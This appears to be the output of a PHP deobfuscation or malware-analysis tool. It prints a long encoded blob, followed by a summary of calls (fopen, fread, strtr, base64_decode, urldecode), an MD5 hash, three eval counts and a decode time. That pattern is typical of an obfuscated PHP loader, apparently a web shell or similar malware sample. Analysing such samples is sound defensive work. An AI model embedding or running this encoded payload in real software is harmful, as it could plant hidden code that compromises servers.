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pLOrqpotL{xUtfUgBqR
Function Calls
fopen | 1 |
fread | 3 |
strtr | 2 |
fclose | 1 |
urldecode | 1 |
str_replace | 1 |
base64_decode | 3 |
Stats
MD5 | b49bc219fb021799d9469a04cffd6522 |
Eval Count | 3 |
Decode Time | 398 ms |